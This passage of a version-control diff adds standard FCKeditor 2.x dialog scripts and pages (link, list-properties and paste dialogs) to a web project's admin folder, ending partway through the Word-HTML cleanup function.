+						<input id="txtAttStyle" style="width: 100%" type="text" />
+					</td>
+				</tr>
+			</table>
+		</div>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_link/fck_link.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_link/fck_link.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_link/fck_link.js	(revision 44)
@@ -0,0 +1,630 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_link.js
+ * 	Scripts related to the Link dialog window (see fck_link.html).
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ * 		Dominik Pesch ?dom? (empty selection patch) (d.pesch@11com7.de)
+ */
+
+var oEditor		= window.parent.InnerDialogLoaded() ;
+var FCK			= oEditor.FCK ;
+var FCKLang		= oEditor.FCKLang ;
+var FCKConfig	= oEditor.FCKConfig ;
+
+//#### Dialog Tabs
+
+// Set the dialog tabs.
+window.parent.AddTab( 'Info', FCKLang.DlgLnkInfoTab ) ;
+
+if ( !FCKConfig.LinkDlgHideTarget )
+	window.parent.AddTab( 'Target', FCKLang.DlgLnkTargetTab, true ) ;
+
+if ( FCKConfig.LinkUpload )
+	window.parent.AddTab( 'Upload', FCKLang.DlgLnkUpload, true ) ;
+
+if ( !FCKConfig.LinkDlgHideAdvanced )
+	window.parent.AddTab( 'Advanced', FCKLang.DlgAdvancedTag ) ;
+
+// Function called when a dialog tag is selected.
+function OnDialogTabChange( tabCode )
+{
+	ShowE('divInfo'		, ( tabCode == 'Info' ) ) ;
+	ShowE('divTarget'	, ( tabCode == 'Target' ) ) ;
+	ShowE('divUpload'	, ( tabCode == 'Upload' ) ) ;
+	ShowE('divAttribs'	, ( tabCode == 'Advanced' ) ) ;
+
+	window.parent.SetAutoSize( true ) ;
+}
+
+//#### Regular Expressions library.
+var oRegex = new Object() ;
+
+oRegex.UriProtocol = new RegExp('') ;
+oRegex.UriProtocol.compile( '^(((http|https|ftp|news):\/\/)|mailto:)', 'gi' ) ;
+
+oRegex.UrlOnChangeProtocol = new RegExp('') ;
+oRegex.UrlOnChangeProtocol.compile( '^(http|https|ftp|news)://(?=.)', 'gi' ) ;
+
+oRegex.UrlOnChangeTestOther = new RegExp('') ;
+//oRegex.UrlOnChangeTestOther.compile( '^(javascript:|#|/)', 'gi' ) ;
+oRegex.UrlOnChangeTestOther.compile( '^((javascript:)|[#/\.])', 'gi' ) ; 
+
+oRegex.ReserveTarget = new RegExp('') ;
+oRegex.ReserveTarget.compile( '^_(blank|self|top|parent)$', 'i' ) ;
+
+oRegex.PopupUri = new RegExp('') ;
+oRegex.PopupUri.compile( "^javascript:void\\(\\s*window.open\\(\\s*'([^']+)'\\s*,\\s*(?:'([^']*)'|null)\\s*,\\s*'([^']*)'\\s*\\)\\s*\\)\\s*$" ) ;
+
+oRegex.PopupFeatures = new RegExp('') ;
+oRegex.PopupFeatures.compile( '(?:^|,)([^=]+)=(\\d+|yes|no)', 'gi' ) ;
+
+//#### Parser Functions
+
+var oParser = new Object() ;
+
+oParser.ParseEMailUrl = function( emailUrl )
+{
+	// Initializes the EMailInfo object.
+	var oEMailInfo = new Object() ;
+	oEMailInfo.Address	= '' ;
+	oEMailInfo.Subject	= '' ;
+	oEMailInfo.Body		= '' ;
+
+	var oParts = emailUrl.match( /^([^\?]+)\??(.+)?/ ) ;
+	if ( oParts )
+	{
+		// Set the e-mail address.
+		oEMailInfo.Address = oParts[1] ;
+
+		// Look for the optional e-mail parameters.
+		if ( oParts[2] )
+		{
+			var oMatch = oParts[2].match( /(^|&)subject=([^&]+)/i ) ;
+			if ( oMatch ) oEMailInfo.Subject = unescape( oMatch[2] ) ;
+
+			oMatch = oParts[2].match( /(^|&)body=([^&]+)/i ) ;
+			if ( oMatch ) oEMailInfo.Body = unescape( oMatch[2] ) ;
+		}
+	}
+
+	return oEMailInfo ;
+}
+
+oParser.CreateEMailUri = function( address, subject, body )
+{
+	var sBaseUri = 'mailto:' + address ;
+
+	var sParams = '' ;
+
+	if ( subject.length > 0 )
+		sParams = '?subject=' + escape( subject ) ;
+
+	if ( body.length > 0 )
+	{
+		sParams += ( sParams.length == 0 ? '?' : '&' ) ;
+		sParams += 'body=' + escape( body ) ;
+	}
+
+	return sBaseUri + sParams ;
+}
+
+//#### Initialization Code
+
+// oLink: The actual selected link in the editor.
+var oLink = FCK.Selection.MoveToAncestorNode( 'A' ) ;
+if ( oLink )
+	FCK.Selection.SelectNode( oLink ) ;
+
+window.onload = function()
+{
+	// Translate the dialog box texts.
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	// Fill the Anchor Names and Ids combos.
+	LoadAnchorNamesAndIds() ;
+
+	// Load the selected link information (if any).
+	LoadSelection() ;
+
+	// Update the dialog box.
+	SetLinkType( GetE('cmbLinkType').value ) ;
+
+	// Show/Hide the "Browse Server" button.
+	GetE('divBrowseServer').style.display = FCKConfig.LinkBrowser ? '' : 'none' ;
+
+	// Show the initial dialog content.
+	GetE('divInfo').style.display = '' ;
+
+	// Set the actual uploader URL.
+	if ( FCKConfig.LinkUpload )
+		GetE('frmUpload').action = FCKConfig.LinkUploadURL ;
+
+	// Activate the "OK" button.
+	window.parent.SetOkButton( true ) ;
+}
+
+var bHasAnchors ;
+
+function LoadAnchorNamesAndIds()
+{
+	// Since version 2.0, the anchors are replaced in the DOM by IMGs so the user see the icon 
+	// to edit them. So, we must look for that images now.
+	var aAnchors = new Array() ;
+	
+	var oImages = oEditor.FCK.EditorDocument.getElementsByTagName( 'IMG' ) ;
+	for( var i = 0 ; i < oImages.length ; i++ )
+	{
+		if ( oImages[i].getAttribute('_fckanchor') )
+			aAnchors[ aAnchors.length ] = oEditor.FCK.GetRealElement( oImages[i] ) ;
+	}
+	
+	var aIds = oEditor.FCKTools.GetAllChildrenIds( oEditor.FCK.EditorDocument.body ) ;
+
+	bHasAnchors = ( aAnchors.length > 0 || aIds.length > 0 ) ;
+
+	for ( var i = 0 ; i < aAnchors.length ; i++ )
+	{
+		var sName = aAnchors[i].name ;
+		if ( sName && sName.length > 0 )
+			oEditor.FCKTools.AddSelectOption( GetE('cmbAnchorName'), sName, sName ) ;
+	}
+
+	for ( var i = 0 ; i < aIds.length ; i++ )
+	{
+		oEditor.FCKTools.AddSelectOption( GetE('cmbAnchorId'), aIds[i], aIds[i] ) ;
+	}
+
+	ShowE( 'divSelAnchor'	, bHasAnchors ) ;
+	ShowE( 'divNoAnchor'	, !bHasAnchors ) ;
+}
+
+function LoadSelection()
+{
+	if ( !oLink ) return ;
+
+	var sType = 'url' ;
+
+	// Get the actual Link href.
+	var sHRef = oLink.getAttribute( '_fcksavedurl' ) ;
+	if ( sHRef == null )
+		sHRef = oLink.getAttribute( 'href' , 2 ) + '' ;
+	
+	// Look for a popup javascript link.
+	var oPopupMatch = oRegex.PopupUri.exec( sHRef ) ;
+	if( oPopupMatch )
+	{
+		GetE('cmbTarget').value = 'popup' ;
+		sHRef = oPopupMatch[1] ;
+		FillPopupFields( oPopupMatch[2], oPopupMatch[3] ) ;
+		SetTarget( 'popup' ) ;
+	}
+
+	// Search for the protocol.
+	var sProtocol = oRegex.UriProtocol.exec( sHRef ) ;
+
+	if ( sProtocol )
+	{
+		sProtocol = sProtocol[0].toLowerCase() ;
+		GetE('cmbLinkProtocol').value = sProtocol ;
+
+		// Remove the protocol and get the remainig URL.
+		var sUrl = sHRef.replace( oRegex.UriProtocol, '' ) ;
+
+		if ( sProtocol == 'mailto:' )	// It is an e-mail link.
+		{
+			sType = 'email' ;
+
+			var oEMailInfo = oParser.ParseEMailUrl( sUrl ) ;
+			GetE('txtEMailAddress').value	= oEMailInfo.Address ;
+			GetE('txtEMailSubject').value	= oEMailInfo.Subject ;
+			GetE('txtEMailBody').value		= oEMailInfo.Body ;
+		}
+		else				// It is a normal link.
+		{
+			sType = 'url' ;
+			GetE('txtUrl').value = sUrl ;
+		}
+	}
+	else if ( sHRef.substr(0,1) == '#' && sHRef.length > 1 )	// It is an anchor link.
+	{
+		sType = 'anchor' ;
+		GetE('cmbAnchorName').value = GetE('cmbAnchorId').value = sHRef.substr(1) ;
+	}
+	else					// It is another type of link.
+	{
+		sType = 'url' ;
+
+		GetE('cmbLinkProtocol').value = '' ;
+		GetE('txtUrl').value = sHRef ;
+	}
+
+	if ( !oPopupMatch )
+	{
+		// Get the target.
+		var sTarget = oLink.target ;
+
+		if ( sTarget && sTarget.length > 0 )
+		{
+			if ( oRegex.ReserveTarget.test( sTarget ) )
+			{
+				sTarget = sTarget.toLowerCase() ;
+				GetE('cmbTarget').value = sTarget ;
+			}
+			else
+				GetE('cmbTarget').value = 'frame' ;
+			GetE('txtTargetFrame').value = sTarget ;
+		}
+	}
+
+	// Get Advances Attributes
+	GetE('txtAttId').value			= oLink.id ;
+	GetE('txtAttName').value		= oLink.name ;
+	GetE('cmbAttLangDir').value		= oLink.dir ;
+	GetE('txtAttLangCode').value	= oLink.lang ;
+	GetE('txtAttAccessKey').value	= oLink.accessKey ;
+	GetE('txtAttTabIndex').value	= oLink.tabIndex <= 0 ? '' : oLink.tabIndex ;
+	GetE('txtAttTitle').value		= oLink.title ;
+	GetE('txtAttContentType').value	= oLink.type ;
+	GetE('txtAttCharSet').value		= oLink.charset ;
+
+	if ( oEditor.FCKBrowserInfo.IsIE )
+	{
+		GetE('txtAttClasses').value	= oLink.getAttribute('className',2) || '' ;
+		GetE('txtAttStyle').value	= oLink.style.cssText ;
+	}
+	else
+	{
+		GetE('txtAttClasses').value	= oLink.getAttribute('class',2) || '' ;
+		GetE('txtAttStyle').value	= oLink.getAttribute('style',2) ;
+	}
+
+	// Update the Link type combo.
+	GetE('cmbLinkType').value = sType ;
+}
+
+//#### Link type selection.
+function SetLinkType( linkType )
+{
+	ShowE('divLinkTypeUrl'		, (linkType == 'url') ) ;
+	ShowE('divLinkTypeAnchor'	, (linkType == 'anchor') ) ;
+	ShowE('divLinkTypeEMail'	, (linkType == 'email') ) ;
+
+	if ( !FCKConfig.LinkDlgHideTarget )
+		window.parent.SetTabVisibility( 'Target'	, (linkType == 'url') ) ;
+
+	if ( FCKConfig.LinkUpload )
+		window.parent.SetTabVisibility( 'Upload'	, (linkType == 'url') ) ;
+
+	if ( !FCKConfig.LinkDlgHideAdvanced )
+		window.parent.SetTabVisibility( 'Advanced'	, (linkType != 'anchor' || bHasAnchors) ) ;
+
+	if ( linkType == 'email' )
+		window.parent.SetAutoSize( true ) ;
+}
+
+//#### Target type selection.
+function SetTarget( targetType )
+{
+	GetE('tdTargetFrame').style.display	= ( targetType == 'popup' ? 'none' : '' ) ;
+	GetE('tdPopupName').style.display	=
+		GetE('tablePopupFeatures').style.display = ( targetType == 'popup' ? '' : 'none' ) ;
+
+	switch ( targetType )
+	{
+		case "_blank" :
+		case "_self" :
+		case "_parent" :
+		case "_top" :
+			GetE('txtTargetFrame').value = targetType ;
+			break ;
+		case "" :
+			GetE('txtTargetFrame').value = '' ;
+			break ;
+	}
+
+	if ( targetType == 'popup' )
+		window.parent.SetAutoSize( true ) ;
+}
+
+//#### Called while the user types the URL.
+function OnUrlChange()
+{
+	var sUrl = GetE('txtUrl').value ;
+	var sProtocol = oRegex.UrlOnChangeProtocol.exec( sUrl ) ;
+
+	if ( sProtocol )
+	{
+		sUrl = sUrl.substr( sProtocol[0].length ) ;
+		GetE('txtUrl').value = sUrl ;
+		GetE('cmbLinkProtocol').value = sProtocol[0].toLowerCase() ;
+	}
+	else if ( oRegex.UrlOnChangeTestOther.test( sUrl ) )
+	{
+		GetE('cmbLinkProtocol').value = '' ;
+	}
+}
+
+//#### Called while the user types the target name.
+function OnTargetNameChange()
+{
+	var sFrame = GetE('txtTargetFrame').value ;
+
+	if ( sFrame.length == 0 )
+		GetE('cmbTarget').value = '' ;
+	else if ( oRegex.ReserveTarget.test( sFrame ) )
+		GetE('cmbTarget').value = sFrame.toLowerCase() ;
+	else
+		GetE('cmbTarget').value = 'frame' ;
+}
+
+//#### Builds the javascript URI to open a popup to the specified URI.
+function BuildPopupUri( uri )
+{
+	var oReg = new RegExp( "'", "g" ) ;
+	var sWindowName = "'" + GetE('txtPopupName').value.replace(oReg, "\\'") + "'" ;
+
+	var sFeatures = '' ;
+	var aChkFeatures = document.getElementsByName('chkFeature') ;
+	for ( var i = 0 ; i < aChkFeatures.length ; i++ )
+	{
+		if ( i > 0 ) sFeatures += ',' ;
+		sFeatures += aChkFeatures[i].value + '=' + ( aChkFeatures[i].checked ? 'yes' : 'no' ) ;
+	}
+
+	if ( GetE('txtPopupWidth').value.length > 0 )	sFeatures += ',width=' + GetE('txtPopupWidth').value ;
+	if ( GetE('txtPopupHeight').value.length > 0 )	sFeatures += ',height=' + GetE('txtPopupHeight').value ;
+	if ( GetE('txtPopupLeft').value.length > 0 )	sFeatures += ',left=' + GetE('txtPopupLeft').value ;
+	if ( GetE('txtPopupTop').value.length > 0 )		sFeatures += ',top=' + GetE('txtPopupTop').value ;
+
+	return ( "javascript:void(window.open('" + uri + "'," + sWindowName + ",'" + sFeatures + "'))" ) ;
+}
+
+//#### Fills all Popup related fields.
+function FillPopupFields( windowName, features )
+{
+	if ( windowName )
+		GetE('txtPopupName').value = windowName ;
+
+	var oFeatures = new Object() ;
+	var oFeaturesMatch ;
+	while( ( oFeaturesMatch = oRegex.PopupFeatures.exec( features ) ) != null )
+	{
+		var sValue = oFeaturesMatch[2] ;
+		if ( sValue == ( 'yes' || '1' ) )
+			oFeatures[ oFeaturesMatch[1] ] = true ;
+		else if ( ! isNaN( sValue ) && sValue != 0 )
+			oFeatures[ oFeaturesMatch[1] ] = sValue ;
+	}
+
+	// Update all features check boxes.
+	var aChkFeatures = document.getElementsByName('chkFeature') ;
+	for ( var i = 0 ; i < aChkFeatures.length ; i++ )
+	{
+		if ( oFeatures[ aChkFeatures[i].value ] )
+			aChkFeatures[i].checked = true ;
+	}
+
+	// Update position and size text boxes.
+	if ( oFeatures['width'] )	GetE('txtPopupWidth').value		= oFeatures['width'] ;
+	if ( oFeatures['height'] )	GetE('txtPopupHeight').value	= oFeatures['height'] ;
+	if ( oFeatures['left'] )	GetE('txtPopupLeft').value		= oFeatures['left'] ;
+	if ( oFeatures['top'] )		GetE('txtPopupTop').value		= oFeatures['top'] ;
+}
+
+//#### The OK button was hit.
+function Ok()
+{
+	var sUri, sInnerHtml ;
+
+	switch ( GetE('cmbLinkType').value )
+	{
+		case 'url' :
+			sUri = GetE('txtUrl').value ;
+
+			if ( sUri.length == 0 )
+			{
+				alert( FCKLang.DlnLnkMsgNoUrl ) ;
+				return false ;
+			}
+
+			sUri = GetE('cmbLinkProtocol').value + sUri ;
+
+			if( GetE('cmbTarget').value == 'popup' )
+			{
+				// Check the window name, according to http://www.w3.org/TR/html4/types.html#type-frame-target (IE throw erros with spaces).
+				if ( /(^[^a-zA-Z])|(\s)/.test( GetE('txtPopupName').value ) )
+				{
+					alert( FCKLang.DlnLnkMsgInvPopName ) ;
+					return false ;
+				}
+				
+				sUri = BuildPopupUri( sUri ) ;
+			}
+
+			break ;
+
+		case 'email' :
+			sUri = GetE('txtEMailAddress').value ;
+
+			if ( sUri.length == 0 )
+			{
+				alert( FCKLang.DlnLnkMsgNoEMail ) ;
+				return false ;
+			}
+
+			sUri = oParser.CreateEMailUri(
+				sUri,
+				GetE('txtEMailSubject').value,
+				GetE('txtEMailBody').value ) ;
+			break ;
+
+		case 'anchor' :
+			var sAnchor = GetE('cmbAnchorName').value ;
+			if ( sAnchor.length == 0 ) sAnchor = GetE('cmbAnchorId').value ;
+
+			if ( sAnchor.length == 0 )
+			{
+				alert( FCKLang.DlnLnkMsgNoAnchor ) ;
+				return false ;
+			}
+
+			sUri = '#' + sAnchor ;
+			break ;
+	}
+
+	// No link selected, so try to create one.
+	if ( !oLink )
+		oLink = oEditor.FCK.CreateLink( sUri ) ;
+	
+	if ( oLink )
+		sInnerHtml = oLink.innerHTML ;		// Save the innerHTML (IE changes it if it is like an URL).
+	else
+	{
+		// If no selection, use the uri as the link text (by dom, 2006-05-26)
+
+		sInnerHtml = sUri;
+
+		// Built a better text for empty links.
+		switch ( GetE('cmbLinkType').value )
+		{
+			// anchor: use old behavior --> return true
+			case 'anchor':
+				sInnerHtml = sInnerHtml.replace( /^#/, '' ) ;
+				break ;
+
+			// url: try to get path
+			case 'url':
+				var oLinkPathRegEx = new RegExp("//?([^?\"']+)([?].*)?$") ;
+				var asLinkPath = oLinkPathRegEx.exec( sUri ) ;
+				if (asLinkPath != null)
+					sInnerHtml = asLinkPath[1];  // use matched path
+				break ;
+
+			// mailto: try to get email address
+			case 'email':
+				sInnerHtml = GetE('txtEMailAddress').value ;
+				break ;
+		}
+
+		// Create a new (empty) anchor.
+		oLink = oEditor.FCK.CreateElement( 'a' ) ;
+	}
+
+	oEditor.FCKUndo.SaveUndoStep() ;
+
+	oLink.href = sUri ;
+	SetAttribute( oLink, '_fcksavedurl', sUri ) ;
+
+	oLink.innerHTML = sInnerHtml ;		// Set (or restore) the innerHTML
+
+	// Target
+	if( GetE('cmbTarget').value != 'popup' )
+		SetAttribute( oLink, 'target', GetE('txtTargetFrame').value ) ;
+	else
+		SetAttribute( oLink, 'target', null ) ;
+
+	// Advances Attributes
+	SetAttribute( oLink, 'id'		, GetE('txtAttId').value ) ;
+	SetAttribute( oLink, 'name'		, GetE('txtAttName').value ) ;		// No IE. Set but doesnt't update the outerHTML.
+	SetAttribute( oLink, 'dir'		, GetE('cmbAttLangDir').value ) ;
+	SetAttribute( oLink, 'lang'		, GetE('txtAttLangCode').value ) ;
+	SetAttribute( oLink, 'accesskey', GetE('txtAttAccessKey').value ) ;
+	SetAttribute( oLink, 'tabindex'	, ( GetE('txtAttTabIndex').value > 0 ? GetE('txtAttTabIndex').value : null ) ) ;
+	SetAttribute( oLink, 'title'	, GetE('txtAttTitle').value ) ;
+	SetAttribute( oLink, 'type'		, GetE('txtAttContentType').value ) ;
+	SetAttribute( oLink, 'charset'	, GetE('txtAttCharSet').value ) ;
+
+	if ( oEditor.FCKBrowserInfo.IsIE )
+	{
+		SetAttribute( oLink, 'className', GetE('txtAttClasses').value ) ;
+		oLink.style.cssText = GetE('txtAttStyle').value ;
+	}
+	else
+	{
+		SetAttribute( oLink, 'class', GetE('txtAttClasses').value ) ;
+		SetAttribute( oLink, 'style', GetE('txtAttStyle').value ) ;
+	}
+
+	// Select the link.
+	oEditor.FCKSelection.SelectNode(oLink);
+	
+	return true ;
+}
+
+function BrowseServer()
+{
+	OpenFileBrowser( FCKConfig.LinkBrowserURL, FCKConfig.LinkBrowserWindowWidth, FCKConfig.LinkBrowserWindowHeight ) ;
+}
+
+function SetUrl( url )
+{
+	document.getElementById('txtUrl').value = url ;
+	OnUrlChange() ;
+	window.parent.SetSelectedTab( 'Info' ) ;
+}
+
+function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
+{
+	switch ( errorNumber )
+	{
+		case 0 :	// No errors
+			alert( 'Your file has been successfully uploaded' ) ;
+			break ;
+		case 1 :	// Custom error
+			alert( customMsg ) ;
+			return ;
+		case 101 :	// Custom warning
+			alert( customMsg ) ;
+			break ;
+		case 201 :
+			alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
+			break ;
+		case 202 :
+			alert( 'Invalid file type' ) ;
+			return ;
+		case 203 :
+			alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ;
+			return ;
+		default :
+			alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+			return ;
+	}
+
+	SetUrl( fileUrl ) ;
+	GetE('frmUpload').reset() ;
+}
+
+var oUploadAllowedExtRegex	= new RegExp( FCKConfig.LinkUploadAllowedExtensions, 'i' ) ;
+var oUploadDeniedExtRegex	= new RegExp( FCKConfig.LinkUploadDeniedExtensions, 'i' ) ;
+
+function CheckUpload()
+{
+	var sFile = GetE('txtUploadFile').value ;
+	
+	if ( sFile.length == 0 )
+	{
+		alert( 'Please select a file to upload' ) ;
+		return false ;
+	}
+	
+	if ( ( FCKConfig.LinkUploadAllowedExtensions.length > 0 && !oUploadAllowedExtRegex.test( sFile ) ) ||
+		( FCKConfig.LinkUploadDeniedExtensions.length > 0 && oUploadDeniedExtRegex.test( sFile ) ) )
+	{
+		OnUploadCompleted( 202 ) ;
+		return false ;
+	}
+	
+	return true ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_listprop.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_listprop.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_listprop.html	(revision 44)
@@ -0,0 +1,113 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_listprop.html
+ * 	Bulleted List dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ * 		Marcel J Bennett (start attribute)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title></title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta content="noindex, nofollow" name="robots" />
+	<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+	<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.MoveToAncestorNode( 'UL' ) ;
+var oActiveSel ;
+
+window.onload = function()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	if ( oActiveEl )
+		oActiveSel = GetE('selBulleted') ;
+	else
+	{
+		oActiveEl = oEditor.FCKSelection.MoveToAncestorNode( 'OL' ) ;
+		if ( oActiveEl )
+		{
+			oActiveSel = GetE('selNumbered') ;
+			GetE('eStart').style.display = '' ;
+			GetE('txtStartPosition').value	= GetAttribute( oActiveEl, 'start' ) ;
+		}
+	}
+
+	oActiveSel.style.display = '' ;
+
+	if ( oActiveEl )
+	{
+		if ( oActiveEl.getAttribute('type') )
+			oActiveSel.value = oActiveEl.getAttribute('type').toLowerCase() ;
+	}
+
+	window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+	if ( oActiveEl ){
+		SetAttribute( oActiveEl, 'type'	, oActiveSel.value ) ;
+		if(oActiveEl.tagName == 'OL')
+			SetAttribute( oActiveEl, 'start', GetE('txtStartPosition').value ) ;
+	}
+
+	return true ;
+}
+
+	</script>
+</head>
+<body style="overflow: hidden">
+	<table width="100%" style="height: 100%">
+		<tr>
+			<td style="text-align:center">
+				<table cellspacing="0" cellpadding="0" border="0" style="margin-left: auto; margin-right: auto;">
+					<tr>
+						<td id="eStart" style="display: none; padding-right: 5px; padding-left: 5px">
+							<span fcklang="DlgLstStart">Start</span><br />
+							<input type="text" id="txtStartPosition" size="5" />
+						</td>
+						<td style="padding-right: 5px; padding-left: 5px">
+							<span fcklang="DlgLstType">List Type</span><br />
+							<select id="selBulleted" style="display: none">
+								<option value="" selected="selected"></option>
+								<option value="circle" fcklang="DlgLstTypeCircle">Circle</option>
+								<option value="disc" fcklang="DlgLstTypeDisc">Disc</option>
+								<option value="square" fcklang="DlgLstTypeSquare">Square</option>
+							</select>
+							<select id="selNumbered" style="display: none">
+								<option value="" selected="selected"></option>
+								<option value="1" fcklang="DlgLstTypeNumbers">Numbers (1, 2, 3)</option>
+								<option value="a" fcklang="DlgLstTypeLCase">Lowercase Letters (a, b, c)</option>
+								<option value="A" fcklang="DlgLstTypeUCase">Uppercase Letters (A, B, C)</option>
+								<option value="i" fcklang="DlgLstTypeSRoman">Small Roman Numerals (i, ii, iii)</option>
+								<option value="I" fcklang="DlgLstTypeLRoman">Large Roman Numerals (I, II, III)</option>
+							</select>
+							&nbsp;
+						</td>
+					</tr>
+				</table>
+			</td>
+		</tr>
+	</table>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_paste.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_paste.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_paste.html	(revision 44)
@@ -0,0 +1,230 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_paste.html
+ * 	This dialog is shown when, for some reason (usually security settings), 
+ * 	the user is not able to paste data from the clipboard to the editor using 
+ * 	the toolbar buttons or the context menu.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title></title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta name="robots" content="noindex, nofollow" />
+	<script type="text/javascript">
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+window.onload = function ()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+	
+	if ( window.parent.dialogArguments.CustomValue == 'Word' )
+	{
+		var oFrame = document.getElementById('frmData')
+		oFrame.style.display = '' ;
+		
+		if ( oFrame.contentDocument ) 
+			oFrame.contentDocument.designMode = 'on' ;
+		else
+			oFrame.contentWindow.document.body.contentEditable = true ;
+	}
+	else
+	{
+		document.getElementById('txtData').style.display = '' ;
+		document.getElementById('oWordCommands').style.display = 'none' ;
+	}
+
+	window.parent.SetOkButton( true ) ;	
+	window.parent.SetAutoSize( true ) ;	
+}
+
+function Ok()
+{
+	var sHtml ;
+	
+	if ( window.parent.dialogArguments.CustomValue == 'Word' )
+	{
+		var oFrame = document.getElementById('frmData') ;
+		
+		if ( oFrame.contentDocument ) 
+			sHtml = oFrame.contentDocument.body.innerHTML ;
+		else
+			sHtml = oFrame.contentWindow.document.body.innerHTML ;
+
+		sHtml = CleanWord( sHtml ) ;
+	}
+	else
+	{
+		var sHtml = oEditor.FCKTools.HTMLEncode( document.getElementById('txtData').value )  ;
+		sHtml = sHtml.replace( /\n/g, '<BR>' ) ;
+	}
+	
+	oEditor.FCK.InsertHtml( sHtml ) ;
+	
+	return true ;
+}
+
+function CleanUpBox()
+{
+	var oFrame = document.getElementById('frmData') ;
+	
+	if ( oFrame.contentDocument ) 
+		oFrame.contentDocument.body.innerHTML = '' ;
+	else
+		oFrame.contentWindow.document.body.innerHTML = '' ;
+}
+
+function CleanWord( html )
+{
+	var bIgnoreFont = document.getElementById('chkRemoveFont').checked ;
+	var bRemoveStyles = document.getElementById('chkRemoveStyles').checked ;
+
+	html = html.replace(/<o:p>\s*<\/o:p>/g, "") ;
+	html = html.replace(/<o:p>.*?<\/o:p>/g, "&nbsp;") ;
+	
+	// Remove mso-xxx styles.
+	html = html.replace( /\s*mso-[^:]+:[^;"]+;?/gi, "" ) ;
+
+	// Remove margin styles.
+	html = html.replace( /\s*MARGIN: 0cm 0cm 0pt\s*;/gi, "" ) ;
+	html = html.replace( /\s*MARGIN: 0cm 0cm 0pt\s*"/gi, "\"" ) ;
+
+	html = html.replace( /\s*TEXT-INDENT: 0cm\s*;/gi, "" ) ;
+	html = html.replace( /\s*TEXT-INDENT: 0cm\s*"/gi, "\"" ) ;
+
+	html = html.replace( /\s*TEXT-ALIGN: [^\s;]+;?"/gi, "\"" ) ;
+
+	html = html.replace( /\s*PAGE-BREAK-BEFORE: [^\s;]+;?"/gi, "\"" ) ;
+
+	html = html.replace( /\s*FONT-VARIANT: [^\s;]+;?"/gi, "\"" ) ;
+
+	html = html.replace( /\s*tab-stops:[^;"]*;?/gi, "" ) ;
+	html = html.replace( /\s*tab-stops:[^"]*/gi, "" ) ;
+
+	// Remove FONT face attributes.
+	if ( bIgnoreFont )
+	{
+		html = html.replace( /\s*face="[^"]*"/gi, "" ) ;
+		html = html.replace( /\s*face=[^ >]*/gi, "" ) ;
+
+		html = html.replace( /\s*FONT-FAMILY:[^;"]*;?/gi, "" ) ;
+	}
+	
+	// Remove Class attributes
+	html = html.replace(/<(\w[^>]*) class=([^ |>]*)([^>]*)/gi, "<$1$3") ;
+
+	// Remove styles.
+	if ( bRemoveStyles )
+		html = html.replace( /<(\w[^>]*) style="([^\"]*)"([^>]*)/gi, "<$1$3" ) ;
+
+	// Remove empty styles.
+	html =  html.replace( /\s*style="\s*"/gi, '' ) ;
+	
+	html = html.replace( /<SPAN\s*[^>]*>\s*&nbsp;\s*<\/SPAN>/gi, '&nbsp;' ) ;
+	
+	html = html.replace( /<SPAN\s*[^>]*><\/SPAN>/gi, '' ) ;
+	
